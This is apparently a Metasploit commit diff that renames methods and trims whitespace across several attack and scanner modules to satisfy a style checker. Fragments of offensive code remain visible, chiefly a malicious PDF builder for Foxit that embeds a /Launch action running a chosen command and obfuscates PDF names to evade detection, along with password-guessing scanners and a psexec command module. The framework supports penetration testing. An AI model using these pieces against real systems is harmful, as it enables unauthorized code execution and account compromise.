fix msftidy warnings

Author: firefart

modules/auxiliary/admin/smb/psexec_command.rb

@@ -124,10 +124,10 @@ def get_output(file)
     vprint_line("#{output}")
 
     report_note(
-      :rhost => datastore['RHOSTS'], 
-      :rport => datastore['RPORT'], 
+      :rhost => datastore['RHOSTS'],
+      :rport => datastore['RPORT'],
       :type => "psexec_command",
-      :name => datastore['COMMAND'], 
+      :name => datastore['COMMAND'],
       :data => output
     )
 

modules/auxiliary/pdf/foxit/authbypass.rb

@@ -51,7 +51,7 @@ def run
   end
 
   #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
-  def nObfu(str)
+  def n_obfu(str)
     result = ""
     str.scan(/./u) do |c|
       if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
@@ -63,19 +63,19 @@ def nObfu(str)
     result
   end
 
-  def RandomNonASCIIString(count)
+  def random_non_ascii_string(count)
     result = ""
     count.times do
       result << (rand(128) + 128).chr
     end
     result
   end
 
-  def ioDef(id)
+  def io_def(id)
     "%d 0 obj" % id
   end
 
-  def ioRef(id)
+  def io_ref(id)
     "%d 0 R" % id
   end
 
@@ -87,17 +87,17 @@ def make_pdf(exec)
 
     # Randomize PDF version?
     pdf = "%%PDF-%d.%d" % [1 + rand(2), 1 + rand(5)] << eol
-    pdf << "%" << RandomNonASCIIString(4) << eol
+    pdf << "%" << random_non_ascii_string(4) << eol
     xref << pdf.length
-    pdf << ioDef(1) << nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << nObfu("/OpenAction ") << ioRef(5) << ">>" << endobj
+    pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2) << n_obfu("/Pages ") << io_ref(3) << n_obfu("/OpenAction ") << io_ref(5) << ">>" << endobj
     xref << pdf.length
-    pdf << ioDef(2) << nObfu("<</Type/Outlines/Count 0>>") << endobj
+    pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj
     xref << pdf.length
-    pdf << ioDef(3) << nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>") << endobj
+    pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj
     xref << pdf.length
-    pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>") << endobj
+    pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj
     xref << pdf.length
-    pdf << ioDef(5) << "<</Type/Action/S/Launch/F << /F(#{exec})>>/NewWindow true\n" + ioRef(6) + ">>" << endobj
+    pdf << io_def(5) << "<</Type/Action/S/Launch/F << /F(#{exec})>>/NewWindow true\n" + io_ref(6) + ">>" << endobj
     xref << pdf.length
     pdf << endobj
     xrefPosition = pdf.length
@@ -107,7 +107,7 @@ def make_pdf(exec)
     xref.each do |index|
       pdf << "%010d 00000 n" % index << eol
     end
-    pdf << "trailer" << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol
+    pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol
     pdf << "startxref" << eol
     pdf << xrefPosition.to_s() << eol
     pdf << "%%EOF" << eol

modules/auxiliary/scanner/http/ektron_cms400net.rb

@@ -93,7 +93,7 @@ def run_host(ip)
           eventvalidation = ""
         end
 
-        GetVersion()
+        get_version
 
         print_status "Testing passwords at #{target_url}"
         each_user_pass { |user, pass|
@@ -109,7 +109,7 @@ def run_host(ip)
     end
   end
 
-  def GetVersion
+  def get_version
       #Attempt to retrieve the version of CMS400.NET installed.
       #Not always possible based on version/config.
       payload = "http://#{vhost}:#{rport}/WorkArea/java/ektron.site-data.js.ashx"

modules/auxiliary/scanner/http/jenkins_enum.rb

@@ -217,7 +217,7 @@ def parse_system_info(body)
 
     # Report a fingerprint.match for OS fingerprinting support, tied to this service
     report_note(:host => rhost, :port => rport, :proto => 'tcp', :ntype => 'fingerprint.match', :data => fprint)
-    
+
     # Report a jenkins information note for future analysis, tied to this service
     report_note(:host => rhost, :port => rport, :proto => 'tcp', :ntype => 'jenkins.info', :data => jinfo)
 

modules/auxiliary/scanner/sap/sap_mgmt_con_getenv.rb

@@ -47,10 +47,10 @@ def run_host(ip)
       return
     end
 
-    getEnvironment(ip)
+    get_environment(ip)
   end
 
-  def getEnvironment(rhost)
+  def get_environment(rhost)
     print_status("#{rhost}:#{rport} [SAP] Connecting to SAP Management Console SOAP Interface ")
     success = false
 

modules/auxiliary/scanner/sap/sap_mgmt_con_startprofile.rb

@@ -47,10 +47,10 @@ def run_host(ip)
       return
     end
 
-    getStartProfile(ip)
+    get_start_profile(ip)
   end
 
-  def getStartProfile(rhost)
+  def get_start_profile(rhost)
     print_status("#{rhost}:#{rport} [SAP] Connecting to SAP Management Console SOAP Interface")
     success = false
     soapenv ='http://schemas.xmlsoap.org/soap/envelope/'

modules/auxiliary/scanner/smb/smb_enumusers_domain.rb

@@ -51,7 +51,7 @@ def parse_value(resp, idx)
     return value,idx
   end
 
-  def parse_NetWkstaEnumUsersInfo(resp)
+  def parse_net_wksta_enum_users_info(resp)
     accounts = [ Hash.new() ]
 
     #print_debug resp[0,20].unpack("H*")
@@ -130,7 +130,7 @@ def run_host(ip)
 
         resp = dcerpc.last_response ? dcerpc.last_response.stub_data : nil
 
-        accounts = parse_NetWkstaEnumUsersInfo(resp)
+        accounts = parse_net_wksta_enum_users_info(resp)
         accounts.shift
 
         if datastore['VERBOSE']

modules/auxiliary/scanner/vmware/esx_fingerprint.rb

@@ -80,7 +80,7 @@ def fingerprint_vmware(ip,res)
       print_good("#{rhost}:#{rport} - Identified #{full_match[1]}")
       report_service(:host => (this_host || ip), :port => rport, :proto => 'tcp', :name => 'https', :info => full_match[1])
     end
-    
+
     if os_match and ver_match and build_match
       if os_match[1] =~ /ESX/ or os_match[1] =~ /vCenter/
         # Report a fingerprint match for OS identification

modules/auxiliary/scanner/vmware/vmware_http_login.rb

@@ -119,7 +119,7 @@ def fingerprint_vmware(res)
           :host  => ip,
           :ntype => 'fingerprint.match',
           :data  => {'os.vendor' => 'VMware', 'os.product' => os_match[1] + " " + ver_match[1], 'os.version' => build_match[1] }
-        )      
+        )
       end
       return true
     else

modules/exploits/android/fileformat/adobe_reader_pdf_js_interface.rb

@@ -74,7 +74,7 @@ def exploit
 
   def trailer(root_obj)
     id = @xref.keys.max+1
-    "trailer" << eol << "<</Size %d/Root " % id << ioRef(root_obj) << ">>" << eol
+    "trailer" << eol << "<</Size %d/Root " % id << io_ref(root_obj) << ">>" << eol
   end
 
   def add_compressed(n, data)